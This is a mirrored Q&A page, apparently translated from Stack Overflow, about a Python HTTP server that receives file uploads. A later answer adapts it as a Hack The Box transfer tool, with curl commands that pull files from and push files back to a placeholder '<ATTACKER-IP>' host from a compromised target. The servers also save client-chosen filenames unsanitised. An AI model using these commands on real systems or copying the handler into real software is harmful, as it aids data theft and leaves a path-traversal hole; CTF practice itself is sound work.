Python SimpleHTTPServer 接收文件

2024-04-23

我正在使用 SimpleHTTPServer 的 do_POST 方法来接收文件。如果我使用curl上传png文件,该脚本工作正常,但每当我使用python请求库上传文件时,文件上传但会损坏。这是 SimpleHTTPServer 代码

#!/usr/bin/env python
# Simple HTTP Server With Upload.

import os
import posixpath
import BaseHTTPServer
import urllib
import cgi
import shutil
import mimetypes
import re
try:
    from cStringIO import StringIO
except ImportError:
    from StringIO import StringIO

class SimpleHTTPRequestHandler(BaseHTTPServer.BaseHTTPRequestHandler):    
    # Simple HTTP request handler with POST commands.

    def do_POST(self):
        """Serve a POST request."""
        r, info = self.deal_post_data()
        print r, info, "by: ", self.client_address
        f = StringIO()

        if r:
            f.write("<strong>Success:</strong>")
        else:
            f.write("<strong>Failed:</strong>")

        length = f.tell()
        f.seek(0)
        self.send_response(200)
        self.send_header("Content-type", "text/html")
        self.send_header("Content-Length", str(length))
        self.end_headers()
        if f:
            self.copyfile(f, self.wfile)
            f.close()

    def deal_post_data(self):
        print self.headers
        boundary = self.headers.plisttext.split("=")[1]
        print 'Boundary %s' %boundary
        remainbytes = int(self.headers['content-length'])
        print "Remain Bytes %s" %remainbytes
        line = self.rfile.readline()
        remainbytes -= len(line)
        if not boundary in line:
            return (False, "Content NOT begin with boundary")
        line = self.rfile.readline()
        remainbytes -= len(line)
        fn = re.findall(r'Content-Disposition.*name="file"; filename="(.*)"', line)
        if not fn:
            return (False, "Can't find out file name...")
        path = self.translate_path(self.path)
        fn = os.path.join(path, fn[0])
        line = self.rfile.readline()
        remainbytes -= len(line)
        line = self.rfile.readline()
        remainbytes -= len(line)
        try:
            out = open(fn, 'wb')
        except IOError:
            return (False, "Can't create file to write, do you have permission to write?")

        preline = self.rfile.readline()
        remainbytes -= len(preline)
        while remainbytes > 0:
            line = self.rfile.readline()
            remainbytes -= len(line)
            if boundary in line:
                preline = preline[0:-1]
                if preline.endswith('\r'):
                    preline = preline[0:-1]
                out.write(preline)
                out.close()
                return (True, "File '%s' upload success!" % fn)
            else:
                out.write(preline)
                preline = line
        return (False, "Unexpect Ends of data.")



    def translate_path(self, path):
        """Translate a /-separated PATH to the local filename syntax.

        Components that mean special things to the local file system
        (e.g. drive or directory names) are ignored.  (XXX They should
        probably be diagnosed.)

        """
        # abandon query parameters
        path = path.split('?',1)[0]
        path = path.split('#',1)[0]
        path = posixpath.normpath(urllib.unquote(path))
        words = path.split('/')
        words = filter(None, words)
        path = os.getcwd()
        for word in words:
            drive, word = os.path.splitdrive(word)
            head, word = os.path.split(word)
            if word in (os.curdir, os.pardir): continue
            path = os.path.join(path, word)
        return path

    def copyfile(self, source, outputfile):
        """Copy all data between two file objects.

        The SOURCE argument is a file object open for reading
        (or anything with a read() method) and the DESTINATION
        argument is a file object open for writing (or
        anything with a write() method).

        The only reason for overriding this would be to change
        the block size or perhaps to replace newlines by CRLF
        -- note however that this the default server uses this
        to copy binary data as well.

        """
        shutil.copyfileobj(source, outputfile)



def test(HandlerClass = SimpleHTTPRequestHandler,
         ServerClass = BaseHTTPServer.HTTPServer):
    BaseHTTPServer.test(HandlerClass, ServerClass)

if __name__ == '__main__':
    test()

上传文件的客户端代码在这里

#!/usr/bin/python

import requests

files = {'file': open('test.png', 'rb')}
r = requests.post('http://192.168.5.134:8000', files=files)
print r.request.headers

文件已成功上传,但已损坏。

python 请求头 https://i.stack.imgur.com/NOmXc.png

简单HTTP服务器响应 https://i.stack.imgur.com/Ct7ps.png

使用卷曲 [curl -F '[电子邮件受保护] /cdn-cgi/l/email-protection' 192.168.5.134:8000/ -v ],文件上传并打开成功。

python请求代码有问题吗?


2019 年更新:我今天在 hackthebox.eu 上玩时正在寻找此功能。我对 Python 不太了解,但我最终还是把这个例子移植到了 Python 3,因为 Python 2 此时基本上已经死了。

希望这对 2019 年寻找此内容的人有所帮助,我总是很高兴听到有关改进代码的方法。获取它:https://gist.github.com/smidgedy/1986e52bb33af829383eb858cb38775c https://gist.github.com/smidgedy/1986e52bb33af829383eb858cb38775c

感谢提问者以及那些提供信息评论的人!

编辑:我被要求粘贴代码,不用担心。为了简洁起见,我删除了一些评论,所以这里有一些注释:

  1. 基于一个gist https://gist.github.com/UniIsland/3346170由骨头7456 提供,因为归属很重要。
  2. 我从响应中删除了 HTML,因为我的用例不需要它。
  3. 在野外使用它需要您自担风险。我用它在服务器之间移动文件HTB https://hackthebox.eu所以它目前的形式基本上是一个玩具。
  4. 破解地球等。

从包含工具/数据的文件夹或您要关闭的盒子中的攻击设备运行脚本。从目标 PC 连接到它,可以简单方便地来回推送文件。

#  Usage - connect from a shell on the target machine:
#  Download a file from your attack device: 
curl -O http://<ATTACKER-IP>:44444/<FILENAME>

#  Upload a file back to your attack device: 
curl -F 'file=@<FILENAME>' http://<ATTACKER-IP>:44444/


#  Multiple file upload supported, just add more -F 'file=@<FILENAME>'
#  parameters to the command line.
curl -F 'file=@<FILE1>' -F 'file=@<FILE2>' http://<ATTACKER-IP>:44444/

Code:

#!/usr/env python3
import http.server
import socketserver
import io
import cgi

# Change this to serve on a different port
PORT = 44444

class CustomHTTPRequestHandler(http.server.SimpleHTTPRequestHandler):

    def do_POST(self):        
        r, info = self.deal_post_data()
        print(r, info, "by: ", self.client_address)
        f = io.BytesIO()
        if r:
            f.write(b"Success\n")
        else:
            f.write(b"Failed\n")
        length = f.tell()
        f.seek(0)
        self.send_response(200)
        self.send_header("Content-type", "text/plain")
        self.send_header("Content-Length", str(length))
        self.end_headers()
        if f:
            self.copyfile(f, self.wfile)
            f.close()      

    def deal_post_data(self):
        ctype, pdict = cgi.parse_header(self.headers['Content-Type'])
        pdict['boundary'] = bytes(pdict['boundary'], "utf-8")
        pdict['CONTENT-LENGTH'] = int(self.headers['Content-Length'])
        if ctype == 'multipart/form-data':
            form = cgi.FieldStorage( fp=self.rfile, headers=self.headers, environ={'REQUEST_METHOD':'POST', 'CONTENT_TYPE':self.headers['Content-Type'], })
            print (type(form))
            try:
                if isinstance(form["file"], list):
                    for record in form["file"]:
                        open("./%s"%record.filename, "wb").write(record.file.read())
                else:
                    open("./%s"%form["file"].filename, "wb").write(form["file"].file.read())
            except IOError:
                    return (False, "Can't create file to write, do you have permission to write?")
        return (True, "Files uploaded")

Handler = CustomHTTPRequestHandler
with socketserver.TCPServer(("", PORT), Handler) as httpd:
    print("serving at port", PORT)
    httpd.serve_forever()
本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

Python SimpleHTTPServer 接收文件 的相关文章

随机推荐

  • ActiveMQ 内存消耗通过屋顶(页面文件)...该怎么办?

    我们使用的是旧版本的 ActiveMQ 5 3 2 请参阅 ActiveMQ可靠吗 https stackoverflow com questions 4303610 is activemq reliable 我们取消了持久性 因为我们需要
  • 解决依赖关系: pub 已完成,退出代码为 1

    我有这个依赖冲突 flutter pub upgrade dry run Resolving dependencies Because image gt 2 1 14 lt 3 0 0 nullsafety 0 depends on arc
  • Swift 变量声明含义

    这两个声明有什么区别 哪一个更好 为什么 error some NSError 1 var newUserInfo NSObject NSObject if let tempUserInfo error userInfo as NSObje
  • 根据请求更改 PostgreSQL 日期语言

    我对 PostgreSQL 有点陌生 我正在尝试更改日期函数结果的区域设置 以获得以下结果to char my date Month 用另一种语言 这是我的一些设置 gt show lc time en US UTF 8 我在文档中发现可以
  • 如何使用 Perl 的 DBI 处理 unicode?

    My 美味到 wp perl 脚本 http edward de leau net wordpress 23 compatible wordpress delicious daily synchronization script 20071
  • 如何在 gnuplot 中设置时区?

    我有一个简单的 gnuplot 命令文件 set xdata time set timefmt s set format x H M 其中 x 时间戳列 结果 UTC 格式的时间 我可以更改 x 轴的本地时区吗 今天刚刚在文档中发现了这一点
  • VarName 未定义,请修复或添加 /*global VarName*/ Cloud9

    客观的 阻止 Cloud9 IDE 向我发出警告消息 背景 我正在使用 Cloud9 IDE 编写 JavaScript 无论何时使用另一个文件 同一文件夹中 中的类 我都会收到警告消息 VarName 未定义 请修复或添加 global
  • 使用 JWT 缺少授权标头

    我正在尝试设置 JSON Web 令牌以从移动应用程序与我的 php 后端进行通信 我可以请求一个令牌就好了 当我需要验证它 或向另一个端点发出请求 时 我使用以下格式设置授权标头 Bearer
  • SimPy 资源有 3 个,每个资源都有不同的特征

    我试图模拟这样一种情况 我们有 5 台机器 它们的情况是 1 gt 3 gt 1 即中间的3个并行运行以减少它们所花费的有效时间 我可以通过创建值为 3 的 SimPy 资源来轻松模拟这一点 如下所示 simpy Resource env
  • 如何在提交表单时禁用“window.onbeforeunload”?

    当我从浏览器关闭此页面时 会打开一个警告框 询问 离开此页面 或 留在此页面 没关系 但是 当从下面给出的 提交 按钮提交表单时 它会再次询问并显示此警报框 我如何在提交表单时禁用此功能 不应该询问并显示警报框
  • IE8 中的不透明度不起作用

    我已经设置了覆盖层的不透明度 该覆盖层在 FF Chrome Safari 和 IE9 中工作正常 但在 IE8 中不起作用 我用谷歌搜索了很多 但没有找到任何解决方案 我的CSS代码是 overlayEffectDiv ms filter
  • 使用 python Shutil.py 时出现 Errno 2 没有这样的文件或目录作为文件目标

    我正在使用shutil python 模块在linux redhat 机器上复制文件和目录 我编写了以下方法 它接受 2 个参数 src 正在收集的文件或目录的路径 和目标 将收集的日志 目录粘贴到的所需新路径 def copy src d
  • RandomAccess接口,为什么没有方法?

    我正在读书Collections shuffle List javadoc http docs oracle com javase 7 docs api java util Collections html shuffle 28java u
  • Postman:如何在运行时删除/清除postman环境变量

    有没有办法在运行时使用函数删除 清除邮递员环境变量 我可以设置为空白或一些特殊值 但是有通用的处理方法吗 沙盒APIpm environment unset variableName 也允许这样做 如果您想立即清除所有环境变量 您可能需要执
  • Twitter 数据 - 查找 MongoDB 中被提及最多的用户

    假设我有来自 Twitter API 的流数据 并且将数据作为文档存储在 MongoDB 中 我想要找到的是计数screen name under entities user mentions id ObjectId 50657d58449
  • jquery 在点击时突出显示链接

    如何使用 jquery 在单击链接时突出 显示该链接 例如 当我单击链接 class1 1 时 我想将此链接设为红色 或其他颜色 JavaScript 代码在这里
  • 无意中使用 = 而不是 ==

    这个问题的答案是社区努力 help privileges edit community wiki 编辑现有答案以改进这篇文章 目前不接受新的答案或互动 看起来 if x y 代替 if x y 是许多罪恶的根源 为什么不all编译器将其标记
  • Android 5.0 JobScheduler API 在早期版本上?

    我正在构建一个 Android 应用程序 它利用清单广播接收器来了解设备何时插入 我认为 Android 5 0 JobScheduler API 是一种更好的方法 但我有一个问题 是否可以在早期版本的 Android 上使用此 API 或
  • 使用 PHP Swiftmailer 时如何解决错误 554 5.5.1(无有效收件人)?

    在测试我们的邮件服务器时 我们偶然发现了一个错误 该错误阻止我们通过 PHP 发送邮件 尽管每个 Mail in a box 的常规发送 接收工作没有任何问题 我们正在运行一个单独的 Ubuntu 18 04 服务器 该服务器仅运行 Mai
  • Python SimpleHTTPServer 接收文件

    我正在使用 SimpleHTTPServer 的 do POST 方法来接收文件 如果我使用curl上传png文件 该脚本工作正常 但每当我使用python请求库上传文件时 文件上传但会损坏 这是 SimpleHTTPServer 代码 u